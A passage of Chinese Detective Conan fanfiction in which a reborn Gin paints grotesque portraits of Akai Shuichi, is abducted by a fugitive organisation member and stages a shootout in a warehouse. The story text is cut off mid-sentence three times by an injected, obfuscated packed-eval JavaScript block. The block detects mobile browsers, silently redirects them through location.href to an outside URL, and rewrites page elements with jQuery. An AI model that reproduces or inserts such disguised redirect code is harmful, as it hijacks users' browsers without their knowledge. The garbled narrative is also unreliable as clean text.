影子在背后拉得很长,他从房屋门前走过之后,二楼的窗前——他刚才注视的地方忽然浮现一道模糊的人形轮廓。 轮廓看看琴酒离开的方向,看看对面的毛利侦探事务所,再看看事务所下方的波洛咖啡厅,身形一闪再度消失。 路灯顶端,一只鸽子啄洗着胸羽,随即翅膀一拍飞向远处的夜色,落下一片雪白的羽毛。 …… 琴酒一觉睡到午后,打电话叫了关东煮外卖,再草草吃完,已经是下午三点了。 和昨天一样,他在院子里支起画板,回忆赤井秀一以前与自己打成一片时的惯常穿搭,三两下调好颜色,开始在纸上作画。 针织帽,黑内搭,黑色长风衣,黑色长裤与长靴,像个危险的影子。 琴酒涂抹几笔就停一下,因为他发现自己有些记不清那个与自己针锋相对、中门对狙的“银色子弹”的模样,能够回忆起来的只有狙击弹划过面颊的灼痛,和他兴奋而狂热的绿色眼睛。 冷翡翠色的眸子燃烧着恐怖的烈焰,是他现下仅剩的对最初的赤井秀一的印象。 而他再往后的样子要复杂很多,叠加了假死和卧底的面具,模糊又深沉。琴酒从不探究这个阶段的他,自然所知不多。 一边回想一边落笔,等琴酒回过神来,一幅新作就已完成,其风格之鲜明画风之独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168900|196792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特,看一眼都觉得精神遭到了攻击。 画中人并非一道独立的身影,而是数道影子的叠加态。每道影子都朝向不同方向,做出不同动作,组合起来便像一团肢体增生严重、扭曲阴谲的怪物。虽然面部模糊,可眼睛却勾勒得线条分明,绿色瞳仁像火焰一般晕出眼尾,燃烧跳跃,冷酷狠戾的目光几乎透纸而出,在满纸黑色的映衬下极具冲击力。 ……比昨天那幅更不可名状。 虽说这确实是琴酒的目标,但真画出来他又感觉怪异。 一方面是主体画面过于震撼人心,另一方面是那双眼睛描绘得太准确,几乎完美刻画出了他记忆中的赤井秀一的眼睛神韵,让他心里有种说不出的复杂情绪。 呼出一口气,琴酒扔下画笔,随手拆下画板立在昨天那块旁边,对着院子外的大街展示出去。 正是放学时间,小学生中学生们陆陆续续地经过,十个有九个被这两幅画吓得一个踉跄,有些胆子小的女生还捂嘴惊叫出声,加快脚步从他门前小跑过去。 琴酒并不理会这些,兀自清洗着画笔和颜料盘,哗哗的水声掩去很多细微动静,直到他转身,才发现赤井秀一不知何时又走到了栅栏外,神情复杂地盯着他的新作品。 把洗好的绘画工具放到木栏上沥着,琴酒双手插兜走到赤井秀一跟前,看看画又看看他,唇角微弯。 “我觉得第二幅画比第一幅有所进步,冲矢先生怎么看?” “……” 我怎么看?我希望你放下画笔,另外选择一种爱好或职业发展,干什么都行,就是离艺术行业越远越好! 但这样的话太不礼貌,他们没有熟到可以互怼的份上,赤井秀一只能捏着鼻子压下吐槽欲,看着那幅离人已经很远了的“肖像画”挤出一句“还不错”。 琴酒好好欣赏了一番他的憋屈模样,手掌搭着画板边沿一拍,慢条斯理地道:“我作画习惯三幅一个系列,明天再画一幅,这个系列就算告一段落……” “那太好了!”赤井秀一脱口而出,见琴酒微微扬眉,自觉失言,立马又认真解释道:“我的意思是,黑泽先生马上就能完成一套作品,真是太好了!” 琴酒努力保持平静,尽量让眼底的笑意浅点:“嗯,希望一切顺利。我一般不会连续使用同一个主题画几个系列,但对下个系列,我暂时没有想法。赤井先生对艺术似乎也颇有见解,不知道能不能给我些建议?” “建议?”赤井秀一不忍心多看第二幅画一眼,这会儿脑子里嗡嗡的,复仇的情绪越过理智占了上风,“你觉得昨天跟我一起来的两人怎么样?能不能当你新的‘缪斯’?” 谁说组织成员不团结?红方成员互坑起来不也毫不手软,十分熟练? 琴酒轻笑:“能啊,那位安室先生我看就很不错。不过我有一个问题希望赤井先生先回答。” 听到他夸安室透“不错”,赤井秀一心头掠过一丝异样:“嗯?” 琴酒走近半步,微微倾身,冰冷松香混着颜料略显刺鼻的化学气味钻进赤井秀一鼻腔:“我并没有说这幅画画的是你,赤井先生是怎么一眼就看出来的?” 赤井秀一愣住。 5. 突生意外 安静半晌,赤井秀一在一阵寒风中恍然回神,垂下眼睫再去看那幅画,冲击感依旧强烈,但这一回,却是先前被他忽略过去的熟悉感更加鲜明。 “是啊,我为什么会知道?”他真心实意地感到疑惑。 琴酒把挖苦藏在夸奖里:“原来你也不知道吗?那可能是因为赤井先生的艺术嗅觉和我一样敏锐吧。” “……” 这种艺术嗅觉大可不必有! 赤井秀一停止背脊,正色道:“不,我认为这只是一种思维惯性,是因为昨天黑泽先生画了我,所以今天我下意识地觉得你又在画我。” “这个可以有。” “这个真没有。” 两人面面相觑片刻,望着琴酒浅银色的眼睛,赤井秀一心中忽然涌上一股压抑不住的笑意,低低笑出了声。 “好吧,你说有就有。”他认输似的呼了口气,眼神温和,“黑泽先生是画家,在这方面,你是权威。” 这下换琴酒表情一滞,无话可说。 不是敌人的前提下,哪怕与他并不十分熟识,赤井秀一也其实是个很好相处的人。 “对了。” 赤井秀一又开口,琴酒的思绪被打断,随口问:“怎么?” “我们交换个手机号吧。”赤井秀一从上衣口袋里掏出一张名片,“今天我要出差一趟,归期不定,有什么事你可以打电话联系我。” 他的请求莫名其妙,琴酒的眼神在名片上一扫,没有接:“什么意思?” 赤井秀一捏着名片一笑:“米花町最近不太平,我给我的朋友上个保险,这个解释可以接受吗?” 听他这样一说,琴酒马上联想到昨晚的窥视感,再想想这具弱不禁风的新身体,他接过了名片。 “谢了。”琴酒不熟练地道谢,“我的号码一会儿短信发给你。” “不客气。”赤井秀一最后看一眼身前的两幅画,按了按抽痛的太阳穴,“我还有工作,先走了,有空一起吃饭。” “好。” 目送赤井秀一转过街角,琴酒低头看向名片,前后翻看了一遍,他掏出手机将自己的号码发给赤井秀一,随手把名片塞进画与画板之间的空隙。 街角,赤井秀一拉开车门坐到后座,提起表面覆着皮革的长方形盒子,按下密码打开,众多零件出现在他眼前。 “自己拼。”新队友兼司机的声音在驾驶座上响起,“这回要对付的组织成员并不难搞,你压个阵就行,不用出手。” 赤井秀一拿起一枚零件看看,熟练地开始组装:“地址。” 工作状态下的他有种不近人情的淡漠,或许是因为敌人太弱,不足以引动他的情绪波动,他的身上萦绕着些非世俗意义的傲慢的冷酷。 司机,Scorpion透过后视镜瞄他一眼,略有些下三白的眼睛阴鸷幽森:“就在米花町内,地方有点偏僻,是个被琴酒做主弃用的仓库,他们去那里是为了销毁一份琴酒留下的资料。” 赤井秀一的动作片刻不停:“知道资料内容吗?” “不知道,但显然很重要。”Scorpion的回答模棱两可,“否则组织已经倒台,他们何必非要冒着暴露的风险去销毁。” 说着,他突然笑了一声,嘶哑的嗓音满是掩饰不住的恶意:“说不定跟琴酒的那档子事有关,毕竟他的绯闻轶事可不少。赤井先生以前不也跟他有一二传闻……” 他话未说完,冰冷的枪口就顶上了他的后脑。 赤井秀一冷冷道:“你猜我这么近距离开枪,先炸的会是枪膛还是你的脑袋?” Scorpion僵住。 赤井秀一实在懒得和他多费口舌,更遑论解释:“你最好不要在我面前提起琴酒,管好自己的嘴。” 枪口移开,Scorpion的胸口同时一轻,不由得深吸一口气,缓解肺部因为刚刚不自觉屏住呼吸而泛起的钝痛。 他看向后视镜,赤井秀一已经不再关注他,似乎刚才发生的事只是他的幻觉,兀自检查着箱里的子弹,利落地将其装配上膛。 Scorpion转开目光,发动车子。 不要提起琴酒。 他咂摸着这句警告,困惑且迟疑。 那人不是说他对琴酒不止有厌恨吗? 这个念头刚从脑子里闪过,Scorpion就听到一声手机震动声。赤井秀一停下动作,掏出手机看了眼屏幕,冷漠神色突然软化了几分。 单手抱枪,他存下信息中的手机并备注“地狱艺术家”,眼底有笑意一闪而过。 …… 琴酒打车到附近商场逛了一圈,拎着两袋速食食品回来时,就看到自己家隔壁的屋子前方拉起了警戒带。 几个刑警正好下车,跟他打个照面的同时余光扫到了他院子里的两幅画,让他觉得面熟的那位年轻警官始料未及地一个趔趄,长达两秒钟的表情转换堪称变化莫测。 琴酒挑挑眉,还没来得及反应,就见对面咖啡厅里匆匆走出两道身影——工藤新一和安室透并肩而来,神情严肃,直到看见街边的他,周身凛冽的气场才略有消解。 “黑泽先生,你没事吧?”安室透走快两步,还没靠近,眼神已经把他上下打量了一遍。 “没事,怎么了?”琴酒眉头微抬,面露兴味,“米花町又发生命案了?” 这个“又”就很有灵魂,安室透握拳掩嘴,在笑出声前换成了咳嗽。 “算……是吧。”他说,“这家的男主人傍晚时被枪杀,黑泽先生住在隔壁,有没有听到什么动静?” “傍晚?”琴酒算了算时间,举起购物袋示意,“我五点出门,现在才回来。” 闻言,工藤新一抬手看手表,此刻是晚上七点二十分,如果他一直在商场,刚好完美错过作案时间。 但还需要验证。 工藤新一上前一步:“黑泽先生,麻烦把你去的商场名字和购物小票给我,我们需要确认你的不在场证明。” 人生头一回成为犯案嫌疑人而非凶手,琴酒倍感有趣,毫不犹豫地翻出小票递过去,顺便提醒:“我只逛了食品区,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168901|196792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有去任何监控死角,你们随便查。” “谢谢配合。” 工藤新一微笑接过小票,转手递给等在旁边的刑警,举手投足间透着一股警队编外人员的自在和从容。 不愧是在变小期间都还协助警方破获近千桩案件的平成年代的死神,这种松弛感快赶上他琴酒杀卧底的时候了。 琴酒散漫又冷淡地一笑:“还需要我做什么吗?” 工藤新一想了想:“暂时没有了,不过在找到凶手之前,希望黑泽先生可以一直待在家里,随时配合问询与调查。” 琴酒点点头,转眼看向安室透,见他向自己颔首,便也摆摆手,提着购物袋转身回屋。 等房门关上,确定里面的人听不到他们的交谈,安室透双手环胸:“工藤,你怀疑他吗?” “他给我的感觉很怪。”工藤新一微微皱眉,只觉得屋里那人是自己遇到过最难破的案子,“大部分时候陌生普通,偶尔熟悉危险,好像在隐藏什么,眼里的情绪却一览无余……我看不透。” “世界上居然还有你看不透的人吗?那他很可怕了。”安室透半真半假地开了个玩笑,放下手臂朝命案现场走,“查吧,查完就知道他是不是凶手了。” 工藤新一又看了一眼黑泽宅紧闭的门,抬脚跟上。 房门合拢、落锁,琴酒把购物袋放到脚边,弯腰换上拖鞋,用两根手指勾着球鞋放到鞋架上方,收手时指甲在鞋子侧边划刮了几下。 就在他直起身的瞬间,有什么冰冷坚硬的东西抵上他的后心,那触感极其熟悉,只不过以前是被他握在手里,用以威胁或处决别人。 琴酒毫不慌张,甚至有心情摸出烟盒敲根烟叼在嘴里。 身旁斜出半张脸,一条刀疤从眼下划到嘴角,脖颈上的旧疤扭曲耸立,挤出喑哑的嗓音:“别动。” 声音有点耳熟,是哪个分部的负责人来着? 琴酒嚼了嚼烟头:“是你杀了隔壁家的男主人?” 男人咧开一个狰狞的笑:“你不该说出来的,现在,你也要死……” 他平静地打断男人:“组织在米花町的仓库里造了个密室,里面有个保险柜,放着一份资料,和‘Abyss’的幕后家族有关,我知道保险柜的密码。” 舌头把香烟推到右边,琴酒淡淡地问:“这个消息够买命吗?” “……”男人的笑容瞬间消失,手枪往前推顶,阴恻恻地道:“你是谁?” “这个问题很重要?”琴酒吐掉牙印斑斑的烟头,“我觉得不重要。” “你他妈——” 他有恃无恐得令人生厌,男人的食指已经扣上扳机,却还是硬生生忍下了一枪打死他的冲动。 “行,我带你过去开保险箱。”他没有回答琴酒能否买命的问题,搜出他的手机扔地上踩碎后,揪着他的后领将他用力拽向窗户,“如果你敢骗我……老子一定把你剁碎了喂狗!” 琴酒被他扯得踉踉跄跄,看着房门,面无表情地调整姿势。 线索都给你们留好了,别让我失望。 6. 过个明路 “轰!——” 安室透奋力踹开黑泽宅的房门,在将要进门的时候猛然刹住脚步,目光掠过脚下的烟头和鞋架上的球鞋,抬手示意后面的人停下。 他捡起一口没抽的香烟,端详过烟头上的齿痕,递给身后的刑警:“申请调取警犬搜索被挟持人。” “被挟持人?” 让琴酒觉得眼熟的高木警官连忙双手接过香烟:“他……凶手没有杀他?” 越过安室透走进客厅,工藤新一环顾左右,捡起地上屏幕碎裂的手机,目光循着一串浅淡的脚印滑到窗前,随口回答道:“应该没杀,屋子里没有打斗痕迹,也没有血腥气,只有一串脚印,应该是凶手的。” 安室透拿起鞋架上唯一一双鞋子,指腹抚过侧边,摸到了上面明显是用指甲抠出的痕迹。 仔细摸索、分辨一番,他忽然脸色微变:“GIN?” 正往窗户方向走的工藤新一打了个趔趄,毫不犹豫地掉头跑回:“怎么回事?你发现什么了?” “这是黑泽先生今天穿的鞋子。”安室透把鞋子递到他面前,让他看上面那一气呵成掐出的指甲印,“他应该是在被挟持的时候,找机会留下了G……这三个字母。” 工藤新一双手插兜,眯起蔚蓝色的眼仔细一看:“他知道GIN和组织不奇怪,最近新闻一直在报道组织覆灭的大致过程。可他是怎么知道挟持他的人是组织成员,又用了什么方法让那人选择带走他,而不是杀他?” 说着,他又看了看球鞋和高木警官拿着的烟,眉头皱紧:“这些线索不算隐秘,却不像在危急关头仓促留下,反而透着一种早有预料的从容的味道……” 工藤新一顿了顿,眼神骤然凌厉:“所以他也是组织里的人?他早就知道会有人找上他?” “先找人吧。”安室透没有接话,快步朝窗户的方向走去,“找到他,一切问题都会迎刃而解。” 工藤新一回头和高木警官说了几句话,也抬脚跟上。 半个小时前,由于米花町还有组织成员潜逃,枪杀案又可能与此有关,所以工藤新一和安室透也参与了这桩案件的调查,并很快协助警方找到线索,分析并锁定了凶手身份,追踪他逃离现场时留下的痕迹找到了黑泽宅。 在敲门没有回应的时候,两人的心已经沉到谷底,也预见到了最坏的结果,若非如此,安室透也不会直接上脚踹门。 现在事态峰回路转,黑泽阵不但没死,还牵扯出组织成员相关的线索,这让他们松口气的同时心情也变得极为复杂,不知道该先为此事高兴,还是为自己看走了眼懊恼。 跑出院子,安室透经过摆在栅栏边的两幅画,一股莫名的冲动驱使着他回头看了一眼,目光扫过第二幅画上那双眼睛时,脚步慢了一瞬。 “工藤,你觉得他像组织的人吗?” 工藤新一不假思索地点头:“像。” …… “下去!” 一只手从背后狠狠推了琴酒一把,他趔趄着下车,刚刚站稳,手枪又顶到了他的后脑,抵着他进入前方的仓库。 仓库久无人来,地上积着厚厚的灰尘,脚步踏过,空气中也浮起呛人的尘烟。 里面堆了不少纸壳木箱,正对大门的墙上还开了扇小门,此时正虚掩着,泻出一线灯光和淡淡的铁锈味。 琴酒身上的汗毛根根炸开,是置身于危险境地时身体的本能反应,尽管他根本毫无恐惧,心如止水。 “进去!” 男人继续推搡他,他有些不耐地皱眉,大步走向对面的铁门。 门后,白炽灯森冷的寒光打在满地横流的血泊上,触目惊心。门前趴着两具尸体,致命伤在后脑,都是一击毙命。琴酒冷眼扫过他们血迹斑斑的脸,没认出是谁,便又冷漠地移开视线。 保险柜立在墙角,男人随脚拨开挡在身前的尸体,押着琴酒来到柜前,警惕地看了看柜子后方的电线和与之相连的炸弹,扬起枪口敲了敲他的脑袋。 “你不是说你知道密码吗?开。” 琴酒懒得搭理他,伸手触向密码盘,思索了几秒,按下第一个数字。 男人看着他迟疑的动作起了一身鸡皮疙瘩,恶声恶气道:“看好了再摁!这东西可连着炸弹!” “带我过来就要信我。”琴酒懒声道,说话的同时按下第二个数字,“我暂时也不想死。” 他是不在意自己的死活,但定下的红方三人组抽象画系列还没完成,他不喜欢半途而废,谁都不能破坏他的计划。 男人发出一声冷笑,食指勾住扳机。 谁他妈管你想不想死,柜子一开你就去死。 六位数密码,再拖时间也花不了几秒,琴酒输入最后一位数字,按下确定键,保险柜的柜门瞬间弹开。 几乎是同一时间,男人猛然开枪,琴酒却像未卜先知一般先一步偏过头,子弹擦着他的侧脸打进柜子内,发出“砰”的一声巨响。 面上皮肉绽裂,划出一道血痕,灼痛袭上神经末梢,琴酒新生的躯体初次感受到这种程度的痛楚,不由得一颤。 可他神色不变,以迅雷不及掩耳之势抓起柜子第二层的手枪,回身连开三枪,全部打在男人持枪的那条手臂上—— 第一枪落空,第二枪击中他的大臂,第三枪洞穿他的手腕。 男人手臂一偏,血花飞溅,手里的枪掉落时脸上甚至还挂着狞笑,反应力差了“未经训练”的“新”琴酒八百条街。 组织里的废物还是太多了。 后坐力震得琴酒双手发麻,左手虎口浮出一道裂伤,他却恍若未觉,上前踢开男人的枪后抵着他的大腿和腹部再开两枪,让他彻底失去行动力。 抬脚踩住男人的脸,琴酒垂眼看他,打断他凄厉的哀嚎:“你的代号。” 男人半张脸贴在地上,喉间溢出痛苦的喘息:“你……你……你到底是……” 琴酒加重碾压的力道:“代、号。” 男人的眼珠拼命向上扯,迎上他淡漠目光的那一秒,眼底浮现出深入骨髓的恐惧。 “G……GIN……” 琴酒叹了口气,枪口对准他的心脏,仿佛不耐烦到懒得再问第三遍,这就要取他狗命。 终于想起他的行事作风,男人连疼痛都忘了,连忙扯着嗓子大喊:“没有!我还没有代号!我是外围成员,我……” 琴酒打断他:“哪个组织派你来的?” 男人的声音戛然而止,下巴用力一抖,表情僵在脸上。 琴酒耐心等了三秒,移开腿,弯腰将手枪顶上他的太阳穴:“不说我也知道,除了那座动物园,没有哪个灰色地带的群体会对Abyss的创造者感兴趣。他们不敢。” 男人打了个寒颤,余光瞥向保险柜,似乎明白了什么,脸色霎时惨白,瞳仁在眼眶里剧烈地震颤。 “想明白了?”琴酒轻轻一笑,“对,这就是我针对你们设下的鱼饵。红方的乌鸦令人厌烦,你们这群鬣狗也在我的狩猎名单上。不然你以为组织那么多没有代号的外围成员位,是为谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168902|196792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 设立的?” 琴酒话音刚落,就见男人耳朵一动,与此同时一阵轻微的脚步声急速接近,转瞬间已经逼近门口。 赤井秀一?他怎么比安室透和工藤新一先到了? 心念急转,琴酒揪住男人的衣领猛地将他拽起,把枪塞进他的惯用手,枪口按上自己的肩膀,握着他的手做出抵抗状,然后视野死角处压着他的手指扣下扳机。 “砰!——” 子弹穿肩而过,爆开一蓬血花,琴酒被巨大的冲力撞开几步,跌坐在保险柜前,捂住伤口露出忍痛神色。 男人维持抓枪的姿势茫然地看着他,还没反应过来刚才发生了什么,甚至连身上的痛楚都忘了的时候,半掩的铁门突然被人用力推开。 紧接着又是一声枪响,他的太阳穴被打了个对穿,瞳孔瞪大、扩散,在弥荡的血雾中倒下,摔进身下的血色。 赤井秀一风尘仆仆而来,衣摆随着未尽的冲力紧促地翻动,嘴里还叼着燃到半截的烟。 狙击步枪被他扛在肩上,枪口冒出一缕白烟,击杀男人的那枚子弹正是由此而出,他的手指仍然扣在扳机上。 顾不上其他,赤井秀一第一时间看向不远处的琴酒,见他捂着肩膀难掩痛色,指缝间不断溢出血液,忽然没由来地一怔,觉得这一幕十分魔幻。 直到琴酒转脸向他看来,他被这恍如实质的一眼击穿心脏,才从隐约的恍惚感中回神,提着枪忙不迭地走上前去。 没有询问或其他言语,赤井秀一蹲在琴酒身旁,拉开他的手查看了下伤口,才抿着烟说:“贯穿伤,没有伤到骨头和要害。还有其他伤口吗?” “没有。”琴酒微抬下巴,“不先看看那位吗?” “他已经死了,验尸是法医的工作。” 把枪换到右手拿着,赤井秀一的手环过琴酒腰身,臂膀发力,轻巧将他搂抱站起。 “走吧,先离开这里。” 他的反应出乎琴酒意料,琴酒不适应地挣了挣,发现自己足够坚韧的意志已经控制不了伤痛缠身、过分疲惫的躯体,就又从善如流地倚在他胸前。 他懒怠地拖长声音:“冲矢先生不是说要出差?” “这儿就是我出差的地点。”赤井秀一睨他一眼,手掌掐在他侧腰,掌下窄瘦柔韧的触感陌生又新奇,“工藤给我打电话说你被黑衣组织的在逃成员劫走,我的出差地正好又在警犬的追踪路线上,我便过来碰碰运气,没想到真的让我碰上了。” 琴酒面色不变,有意将一部分的身体重量倾斜向他:“看来我运气不错。” 回想起已经打开的保险柜,以及刚才在那个男人身上一瞥而过看到的伤痕,赤井秀一的眸光暗了暗:“黑泽先生,你和黑衣组织是什么关系?” 琴酒纤长的睫毛落下又抬起:“我和组织没有关系,跟GIN有一点。” 赤井秀一的手臂猛然收紧,他被勒得呼吸都停滞了一瞬。 “别紧张,GIN已经死了,千真万确。”琴酒说出早已准备好的说辞,不管顺不顺利,今天之后,他的假身份都会在红方这边过个明路,带偏他们的思绪,“我跟他有个合作,这间仓库,那个保险柜,是我帮他设下的钓鱼的饵。” “钓鱼——” 这个词语可以完美比喻琴酒清除异己时的行事方法,赤井秀一心头缠绕着淡淡的异样,沉声问:“钓我们?” “不是。” 出乎他意料的,琴酒摇了摇头。 “冲矢先生听说过‘动物园’吗?”